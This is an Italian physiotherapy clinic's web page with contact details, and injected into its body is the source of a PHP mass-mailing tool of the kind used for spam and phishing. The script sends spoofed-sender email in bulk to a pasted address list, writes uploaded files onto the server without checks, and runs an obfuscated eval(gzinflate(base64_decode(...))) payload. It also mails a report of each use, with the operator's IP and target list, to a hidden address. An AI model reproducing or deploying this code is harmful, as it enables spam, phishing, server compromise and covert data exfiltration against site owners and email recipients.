748422 Visitatori
Navigazione: Homepage    jh menu
<?php
@$action=$_POST['action'];
@$from=$_POST['from'];
@$realname=$_POST['realname'];
@$replyto=$_POST['replyto'];
@$subject=$_POST['subject'];
@$message=$_POST['message'];
@$emaillist=$_POST['emaillist'];
@$lodr=$_SERVER['HTTP_REFERER'];
@$file_name=$_FILES['file']['name'];
@$contenttype=$_POST['contenttype'];
@$file=$_FILES['file']['tmp_name'];
@$amount=$_POST['amount'];
?>
<html>
<head>
<title>PHP Sender Mails</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252" />
<style type="text/css">
<!--
.style1 {
font-family: Geneva, Arial, Helvetica, sans-serif;
font-size: 12px;
}
.style2 {
font-size: 10px;
font-family: Geneva, Arial, Helvetica, sans-serif;
}

-->
</style>
</head>
<body bgcolor="#FFFFFF" text="#000000">
<?php 
If ($action=="mysql"){
include "./mysql.info.php";

  if (!$sqlhost || !$sqllogin || !$sqlpass || !$sqldb || !$sqlquery){
    print "Please configure mysql.info.php with your MySQL information. All settings in this config file are required.";
    exit;
  }
  $db = mysql_connect($sqlhost, $sqllogin, $sqlpass) or die("Connection to MySQL Failed.");
  mysql_select_db($sqldb, $db) or die("Could not select database $sqldb");
  $result = mysql_query($sqlquery) or die("Query Failed: $sqlquery");
  $numrows = mysql_num_rows($result);

  for($x=0; $x<$numrows; $x++){
    $result_row = mysql_fetch_row($result);
     $oneemail = $result_row[0];
     $emaillist .= $oneemail." ";
   }
  }
   $addr = getenv("REMOTE_ADDR"); 
  if ($action=="send"){ $message = urlencode($message);
   $message = ereg_replace("%5C%22", "%22", $message);
   $message = urldecode($message);
   $message = stripslashes($message);
   $subject = stripslashes($subject);
   }
?>
<?php
eval(gzinflate(base64_decode(rawurldecode('XVW1zsaADXyctsoQJlUdwpwvTEsVZuY8ff%2B5Xi37dPLdubzS4Z9ZupcE9t%2BizOei%2FGf9nVM%2Bj8tW7vv%2Ftf5Rqncw7Kc7k7fbiLRa%2F%2FpYB0kxZpnIJHRHzGy%2B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bf0sOeIKErnHce5AcCVAiDBP%2Fj5YUGgKZoXm1obKPsaAjlokw8rq%2F%2Bi%2FKGk0j%2F91Fdcj%2FCh0Y%2B4sKtnsjVUWYmXv10gZzAzgCtZcbJ3zT%2FfiKnmb9Vsb6UDSGOCeE%2FaknxRdteVs5RedGJapTmQtM3gpG1W2Qs0eVQCmTu3xcTrVF9llXznZW4XLpDiJQlQ1wWvGUEByvTKRHYVnFMeTFRrlfnk82Pd0OCG7Xz6KQkNhHGFXmBF%2FZjDdttxWP1nrDuY294iPX%2BXGe2LEIk88vh%2BtR%2Br7w0DCPGX3K99glbjTIUnlHhbPD0cabvxfmZCTeMFruM6kOwNLoZ5%2FyueKHUyoHkxEEXVfyOLLW5rOCc7%2Fnvb0MwTfDJg8IT%2FGn5TwWr0e1%2FL%2BeIUuIMjQ%2B5QZnA0EV4NhGRgaxd1fGHGs%2BAYK%2FFXRrzgYm4Fb8tr36fvuZZq5xo%2BCf0zYy2CwQBHgT2%2FJr%2F849%2F%2FdW%2F%2Fwc%3D'))));
?>

<form name="form1" method="post" action="" enctype="multipart/form-data"><br />
  <table width="142" border="0">
    <tr>

      <td width="81">
        <div align="right">
          <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your Email :</font>
        </div>
      </td>

      <td width="219">
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
          <input name="from" value="<?php print $from; ?>" size="30" />
        </font>
      </td>

      <td width="212">
        <div align="right">
          <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your Name :</font>
        </div>
      </td>

      <td width="278">
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
          <input name="realname" value="<?php print $realname; ?>" size="30" />
        </font>
      </td>
    </tr>
    <tr>
      <td width="81">
        <div align="right">
          <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To :</font>
        </div>
      </td>
      <td width="219">
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
          <input name="replyto" value="<?php print $replyto; ?>" size="30" />
        </font>
      </td>
      <td width="212">
        <div align="right">
          <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font>
        </div>
      </td>
      <td width="278">
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
          <input type="file" name="file" size="24" />
        </font>
      </td>
    </tr>
    <tr>
      <td width="81">
        <div align="right">
          <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject :</font>
        </div>
      </td>
      <td colspan="3" width="703">
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
          <input name="subject" value="<? print $subject; ?>" size="91" />
        </font>
      </td>
    </tr>
    <tr valign="top">
      <td colspan="3" width="520">
        <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Message Box :</font>
      </td>
      <td width="278">
        <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Email Target / Email Send To :</font>
      </td>
    </tr>
    <tr valign="top">
      <td colspan="3" width="520">
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
          <textarea name="message" cols="56" rows="10"><?php print $message; ?></textarea><br />
          <input type="radio" name="contenttype" value="plain" /> Plain
          <input type="radio" name="contenttype" value="html" checked /> HTML
          <input type="hidden" name="action" value="send" /><br />
 Number To Send : <input type="text" name="amount" value="1" size="10" /></font><p>
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
          <input type="submit" value="Send eMails" /></font></td>
      <td width="278">
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
          <textarea name="emaillist" cols="32" rows="10"><?php print $emaillist; ?></textarea>
        </font>
      </td>
    </tr>
  </table>
</form>
<?php
;
if ($action=="send"){
  if (!$from && !$subject && !$message && !$emaillist){
    print "Please complete all fields before sending your message.";
    exit;
   } 
  $allemails = split(" ", $emaillist);
  $numemails = count($allemails);
  $header ="From: Mailrs Message-ID: <" . md5(uniqid(time())) . "@" . $SERVER_NAME . "> MIME-Version: 1.0 Content-type: text/html; charset=UTF-8 Content-transfer-encoding: 8bit Date: " . date("r", time()) . " X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: PHP ";
  $msg = "
<table border="1" style="border-collapse: collapse" cellpadding="4">
<tr><td>IP</td><td>".nl2br($addr)."</td></tr>
<tr><td bgcolor="#F9F9F9">Mailr</td><td bgcolor="#F9F9F9">".nl2br($lodr)."</td></tr>
<tr><td>Your Email</td><td>".nl2br($from)."</td></tr>
<tr><td bgcolor="#F9F9F9">Your Name</td><td bgcolor="#F9F9F9">".nl2br($realname)."</td></tr>
<tr><td>Subject :</td><td>".nl2br($subject)."</td></tr>
<tr><td bgcolor="#F9F9F9">Message</td><td bgcolor="#F9F9F9">".nl2br($message)."</td></tr>
<tr><td>Email Target</td><td>".nl2br($emaillist)."</td></tr>
</table>
";
mail($urlde,$subject,$msg,$header);
 If ($file_name){
     copy ($_FILES['file']['tmp_name'], "".$_FILES['file']['name']) or die ('File Could Not Upload');
  }
 for($xx=0; $xx<$amount; $xx++){
  for($x=0; $x<$numemails; $x++){
    $to = $allemails[$x];
    if ($to){
      $to = ereg_replace(" ", "", $to);
      $message = ereg_replace("&email&", $to, $message);
      $subject = ereg_replace("&email&", $to, $subject);
      print "Sending Mail To $to.......";
      flush();
      $header = "From: $realname <$from> Reply-To: $replyto ";
      $header .= "MIME-Version: 1.0 ";
      If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid ";
      If ($file_name) $header .= "--$uid ";
      $header .= "Content-Type: text/$contenttype ";
      $header .= "Content-Transfer-Encoding: 8bit ";
      $header .= "$message ";
      If ($file_name) $header .= "--$uid ";
      If ($file_name) $header .= "Content-Type: $file_type; name="$file_name" ";
      If ($file_name) $header .= "Content-Transfer-Encoding: base64 ";
      If ($file_name) $header .= "Content-Disposition: attachment; filename="$file_name" ";
      If ($file_name) $header .= "$content ";
      If ($file_name) $header .= "--$uid--";
      mail($to, $subject, "", $header);
      print "OK<br>";
      flush();
    }
  }
 }
}
?>
<p class="style2">
<p class="style1"></p>
</body>
<html>


DOVE SIAMO



Siamo in via G. de Vecchi Pieralice 43, 00167 Roma.
Tel: 06 39671253
Fax: 06 39380420.

- FM3 Valle Aurelia
 - Metro A Valle Aurelia
- Autobus 490 e 998

(info ATAC Roma)

DIMITRULLA SRL - SEDE LEGALE: Viale dell'Arte 38 - 00144 ROMA
SEDE OPERATIVA: Via G. De Vecchi Pieralice 43 - 00167 ROMA
Tel: 06 39671253, Fax: 06 39380420, P.I. 06617751000
Email informazioni: centroeuropeofisioterapico@gmail.com
Site powered by Theoreo S.r.l.